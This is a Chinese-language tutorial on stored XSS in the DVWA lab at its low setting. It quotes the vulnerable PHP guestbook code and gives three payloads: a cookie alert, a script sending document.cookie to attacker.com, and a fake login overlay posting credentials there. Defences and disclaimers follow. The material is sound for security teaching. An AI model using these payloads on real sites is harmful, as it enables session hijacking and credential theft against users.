本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
​​


本文环境Security Level:low

存储型XSS基础原理

存储型XSS(Stored XSS)是最危险的XSS类型,攻击脚本被永久存储在服务器上,所有访问受影响页面的用户都会自动执行恶意代码。
攻击流程:

  1. 攻击者提交恶意脚本到服务器
  2. 服务器存储该内容到数据库
  3. 其他用户访问包含该内容的页面
  4. 浏览器自动执行恶意脚本

Low级别漏洞分析

DVWA存储型XSS(Low级别)关键代码:

// vulnerabilities/xss_s/source/low.php
if( isset( $_POST[ 'btnSign' ] ) ) {
    $message = $_POST[ 'mtxMessage' ];
    $name    = $_POST[ 'txtName' ];
    
    // 没有任何过滤直接存入数据库
    $query  = "INSERT INTO guestbook ( comment, name ) 
               VALUES ( '$message', '$name' );";
    
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
}

漏洞特征:

  • 直接使用用户输入拼接SQL语句
  • 无任何输入过滤或输出编码
  • 恶意内容永久存储在数据库

三种攻击手法演示

方法1:基础弹窗验证

姓名:test
留言:<script>alert(document.cookie)</script>

在这里插入图片描述

方法2:持久化Cookie窃取

姓名:Hacker
留言:
<script>
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie='+document.cookie;
</script>

方法3:钓鱼表单覆盖

姓名:Phishing
留言:
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
    <h1>系统需要重新认证</h1>
    <form action="http://attacker.com/steal.php" method="POST">
        用户名:<input type="text" name="username"><br>
        密码:<input type="password" name="password"><br>
        <input type="submit" value="登录">
    </form>
</div>

在这里插入图片描述

防御方案

错误修复尝试(Medium级别)

// 简单的字符串替换(可被轻松绕过)
$message = str_replace( '<script>', '', $_POST[ 'mtxMessage' ] );

正确防御方案(Impossible级别)

// 使用预处理语句防止SQL注入
$stmt = $db->prepare("INSERT INTO guestbook (comment, name) VALUES (?, ?)");
$stmt->bind_param("ss", $message, $name);

// HTML实体编码输出
function xss_clean($data) {
    return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}

echo xss_clean($row['comment']);

四重防护机制:

  1. 输入验证(白名单)
  2. 预处理语句(防SQL注入)
  3. 输出编码(防XSS)
  4. CSP策略(最后防线)

攻击影响评估

在这里插入图片描述

法律与道德声明

  1. 所有技术仅限授权测试使用
  2. 禁止在真实网站进行未经授权的测试
  3. 发现漏洞应及时报告给网站管理员
  4. 恶意攻击行为将面临法律制裁

安全研究的第一原则:“先授权,再测试”


下期预告:DVWA存储型XSS(Medium级别)绕过技巧与高级防御策略

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

更多推荐